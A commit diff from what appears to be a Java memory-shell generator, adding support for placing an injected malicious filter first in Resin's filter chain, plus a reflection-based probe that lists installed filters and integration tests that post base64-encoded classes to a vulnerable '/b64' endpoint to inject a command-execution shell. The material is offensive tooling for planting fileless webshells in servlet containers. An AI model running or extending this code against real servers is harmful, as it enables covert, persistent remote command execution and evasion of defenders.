Skip to content

Commit cbfcfb8

Browse files
committed
feat: support addFilterFirst for resin
1 parent 30b17aa commit cbfcfb8

File tree

7 files changed

+338
-0
lines changed

7 files changed

+338
-0
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,11 @@ private void inject(Object context, Object filter) throws Exception {
136136
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
137137
invokeMethod(urlPattern, "init", null, null);
138138
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
139+
140+
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
141+
filterMappings.remove(filterMappingImpl);
142+
filterMappings.add(0, filterMappingImpl);
143+
139144
invokeMethod(context, "clearCache", null, null);
140145
}
141146

Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
package com.reajason.javaweb.probe.payload.filter;
2+
3+
import java.io.ByteArrayOutputStream;
4+
import java.io.PrintStream;
5+
import java.lang.reflect.Field;
6+
import java.lang.reflect.Method;
7+
import java.util.*;
8+
9+
/**
10+
* @author ReaJason
11+
*/
12+
public class ResinFilterProbe {
13+
14+
@Override
15+
public String toString() {
16+
String msg = "";
17+
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
18+
Set<Object> contexts = null;
19+
try {
20+
contexts = getContext();
21+
} catch (Throwable throwable) {
22+
msg += "context error: " + getErrorMessage(throwable);
23+
}
24+
if (contexts == null || contexts.isEmpty()) {
25+
msg += "context not found\n";
26+
} else {
27+
for (Object context : contexts) {
28+
String contextRoot = getContextRoot(context);
29+
List<Map<String, String>> filters = collectFiltersData(context);
30+
allFiltersData.put(contextRoot, filters);
31+
}
32+
msg += formatFiltersData(allFiltersData);
33+
}
34+
return msg;
35+
}
36+
37+
private List<Map<String, String>> collectFiltersData(Object context) {
38+
List<Map<String, String>> result = new ArrayList<>();
39+
try {
40+
Object filterMapper = getFieldValue(context, "_filterMapper");
41+
Object filterManager = getFieldValue(context, "_filterManager");
42+
if (filterMapper == null) return Collections.emptyList();
43+
ArrayList<Object> filterMappings = (ArrayList<Object>) getFieldValue(filterMapper, "_filterMap");
44+
for (Object filterMapping : filterMappings) {
45+
Map<String, String> info = new HashMap<>();
46+
String filterName = (String) invokeMethod(filterMapping, "getFilterName", null, null);
47+
info.put("filterName", filterName);
48+
String filterClassName = (String) invokeMethod(filterMapping, "getFilterClassName", null, null);
49+
try {
50+
if (filterClassName == null) {
51+
Class<?> filterClass = (Class<?>) invokeMethod(filterMapping, "getFilterClass", null, null);
52+
if (filterClass != null) {
53+
filterClassName = filterClass.getName();
54+
} else {
55+
Object filter = ((Map<String, Object>) getFieldValue(filterManager, "_instances")).get(filterName);
56+
if (filter != null) {
57+
filterClassName = filter.getClass().getName();
58+
}
59+
}
60+
}
61+
} catch (Exception ignored) {
62+
}
63+
info.put("filterClass", filterClassName != null ? filterClassName : "N/A");
64+
65+
List<String> urlPatterns = new ArrayList<>();
66+
String urlPattern = invokeMethod(filterMapping, "getURLPattern", null, null).toString();
67+
if (urlPattern == null || urlPattern.isEmpty()) {
68+
List<Object> matchList = (List<Object>) getFieldValue(filterMapping, "_matchList");
69+
if (matchList != null && !matchList.isEmpty()) {
70+
for (Object match : matchList) {
71+
if (((Integer) getFieldValue(match, "_value")) == 1) {
72+
urlPatterns.add(getFieldValue(match, "_regex").toString());
73+
}
74+
}
75+
}
76+
} else {
77+
urlPatterns.add(urlPattern);
78+
}
79+
info.put("urlPatterns", Arrays.toString(urlPatterns.toArray()));
80+
result.add(info);
81+
}
82+
} catch (Exception ignored) {
83+
}
84+
return result;
85+
}
86+
87+
@SuppressWarnings("all")
88+
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
89+
StringBuilder output = new StringBuilder();
90+
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
91+
String context = entry.getKey();
92+
List<Map<String, String>> filters = entry.getValue();
93+
output.append("Context: ").append(context).append("\n");
94+
if (filters.isEmpty()) {
95+
output.append("No filters found\n");
96+
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
97+
output.append(filters.get(0).get("error")).append("\n");
98+
} else {
99+
for (Map<String, String> info : filters) {
100+
appendIfPresent(output, "", info.get("filterName"), "");
101+
appendIfPresent(output, " -> ", info.get("filterClass"), "");
102+
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
103+
output.append("\n");
104+
}
105+
}
106+
}
107+
return output.toString();
108+
}
109+
110+
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
111+
if (value != null && !value.isEmpty()) {
112+
sb.append(prefix).append(value).append(suffix);
113+
}
114+
}
115+
116+
@SuppressWarnings("all")
117+
private String getContextRoot(Object context) {
118+
String r = null;
119+
try {
120+
r = (String) invokeMethod(context, "getContextPath", null, null);
121+
} catch (Exception ignored) {
122+
}
123+
String c = context.getClass().getName();
124+
if (r == null) {
125+
return c;
126+
}
127+
if (r.isEmpty()) {
128+
return c + "(/)";
129+
}
130+
return c + "(" + r + ")";
131+
}
132+
133+
/**
134+
* com.caucho.server.webapp.Application
135+
* /usr/local/resin3/lib/resin.jar
136+
*/
137+
public Set<Object> getContext() throws Exception {
138+
Set<Object> contexts = new HashSet<Object>();
139+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
140+
for (Thread thread : threads) {
141+
Class<?> servletInvocationClass = null;
142+
try {
143+
servletInvocationClass = thread.getContextClassLoader()
144+
.loadClass("com.caucho.server.dispatch.ServletInvocation");
145+
} catch (Exception e) {
146+
continue;
147+
}
148+
if (servletInvocationClass != null) {
149+
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
150+
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
151+
contexts.add(webApp);
152+
}
153+
}
154+
return contexts;
155+
}
156+
157+
@SuppressWarnings("all")
158+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
159+
try {
160+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
161+
Method method = null;
162+
while (clazz != null && method == null) {
163+
try {
164+
if (paramClazz == null) {
165+
method = clazz.getDeclaredMethod(methodName);
166+
} else {
167+
method = clazz.getDeclaredMethod(methodName, paramClazz);
168+
}
169+
} catch (NoSuchMethodException e) {
170+
clazz = clazz.getSuperclass();
171+
}
172+
}
173+
if (method == null) {
174+
throw new NoSuchMethodException("Method not found: " + methodName);
175+
}
176+
177+
method.setAccessible(true);
178+
return method.invoke(obj instanceof Class ? null : obj, param);
179+
} catch (Exception e) {
180+
throw new RuntimeException("Error invoking method: " + methodName, e);
181+
}
182+
}
183+
184+
@SuppressWarnings("all")
185+
public static Object getFieldValue(Object obj, String name) throws Exception {
186+
Class<?> clazz = obj.getClass();
187+
while (clazz != Object.class) {
188+
try {
189+
Field field = clazz.getDeclaredField(name);
190+
field.setAccessible(true);
191+
return field.get(obj);
192+
} catch (NoSuchFieldException var5) {
193+
clazz = clazz.getSuperclass();
194+
}
195+
}
196+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
197+
}
198+
199+
@SuppressWarnings("all")
200+
private String getErrorMessage(Throwable throwable) {
201+
PrintStream printStream = null;
202+
try {
203+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
204+
printStream = new PrintStream(outputStream);
205+
throwable.printStackTrace(printStream);
206+
return outputStream.toString();
207+
} finally {
208+
if (printStream != null) {
209+
printStream.close();
210+
}
211+
}
212+
}
213+
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import com.reajason.javaweb.probe.payload.JdkProbe;
66
import com.reajason.javaweb.probe.payload.ServerProbe;
77
import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe;
8+
import com.reajason.javaweb.probe.payload.filter.ResinFilterProbe;
89
import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe;
910
import com.reajason.javaweb.utils.CommonUtil;
1011
import net.bytebuddy.ByteBuddy;
@@ -43,4 +44,8 @@ public static String getTomcatFilterProbe() {
4344
public static String getJettyFilterProbe() {
4445
return getBase64Class(JettyFilterProbe.class);
4546
}
47+
48+
public static String getResinFilterProbe() {
49+
return getBase64Class(ResinFilterProbe.class);
50+
}
4651
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,13 @@
44
import com.reajason.javaweb.integration.ProbeAssertion;
55
import com.reajason.javaweb.integration.VulTool;
66
import com.reajason.javaweb.integration.probe.DetectionTool;
7+
import com.reajason.javaweb.memshell.ShellTool;
8+
import com.reajason.javaweb.memshell.ShellType;
9+
import com.reajason.javaweb.packer.Packers;
710
import lombok.SneakyThrows;
811
import lombok.extern.slf4j.Slf4j;
912
import net.bytebuddy.jar.asm.Opcodes;
13+
import org.junit.jupiter.api.AfterAll;
1014
import org.junit.jupiter.api.Test;
1115
import org.testcontainers.containers.GenericContainer;
1216
import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@
1519

1620
import java.nio.file.Files;
1721
import java.nio.file.Paths;
22+
import java.util.List;
1823

1924
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
2025
import static com.reajason.javaweb.integration.ContainerTool.warFile;
26+
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
27+
import static org.hamcrest.CoreMatchers.*;
28+
import static org.hamcrest.MatcherAssert.assertThat;
2129
import static org.junit.jupiter.api.Assertions.assertEquals;
2230

2331
/**
@@ -69,4 +77,24 @@ void testBytecodeReqParamResponseBody() {
6977
String url = getUrl(container);
7078
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
7179
}
80+
81+
@Test
82+
void testFilterProbe() {
83+
String url = getUrl(container);
84+
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
85+
System.out.println(data);
86+
assertThat(data, anyOf(
87+
containsString("Context: ")
88+
));
89+
}
90+
91+
@Test
92+
void testFilterFirstInject() {
93+
String url = getUrl(container);
94+
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
95+
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
96+
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
97+
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
98+
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
99+
}
72100
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,13 @@
44
import com.reajason.javaweb.integration.ProbeAssertion;
55
import com.reajason.javaweb.integration.VulTool;
66
import com.reajason.javaweb.integration.probe.DetectionTool;
7+
import com.reajason.javaweb.memshell.ShellTool;
8+
import com.reajason.javaweb.memshell.ShellType;
9+
import com.reajason.javaweb.packer.Packers;
710
import lombok.SneakyThrows;
811
import lombok.extern.slf4j.Slf4j;
912
import net.bytebuddy.jar.asm.Opcodes;
13+
import org.junit.jupiter.api.AfterAll;
1014
import org.junit.jupiter.api.Test;
1115
import org.testcontainers.containers.GenericContainer;
1216
import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@
1519

1620
import java.nio.file.Files;
1721
import java.nio.file.Paths;
22+
import java.util.List;
1823

1924
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
2025
import static com.reajason.javaweb.integration.ContainerTool.warFile;
26+
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
27+
import static org.hamcrest.CoreMatchers.*;
28+
import static org.hamcrest.MatcherAssert.assertThat;
2129
import static org.junit.jupiter.api.Assertions.assertEquals;
2230

2331
/**
@@ -34,6 +42,11 @@ public class Resin318ContainerTest {
3442
.waitingFor(Wait.forHttp("/app"))
3543
.withExposedPorts(8080);
3644

45+
@AfterAll
46+
public static void tearDown() {
47+
log.info(container.getLogs());
48+
}
49+
3750
@Test
3851
void testJDK() {
3952
String url = getUrl(container);
@@ -69,4 +82,24 @@ void testBytecodeReqParamResponseBody() {
6982
String url = getUrl(container);
7083
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7);
7184
}
85+
86+
@Test
87+
void testFilterProbe() {
88+
String url = getUrl(container);
89+
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
90+
System.out.println(data);
91+
assertThat(data, anyOf(
92+
containsString("Context: ")
93+
));
94+
}
95+
96+
@Test
97+
void testFilterFirstInject() {
98+
String url = getUrl(container);
99+
shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
100+
String data = VulTool.post(url + "/b64", DetectionTool.getResinFilterProbe());
101+
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
102+
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
103+
assertThat(filterName, anyOf(startsWith("com.caucho.server.dispatch.handlers")));
104+
}
72105
}

0 commit comments

Comments
 (0)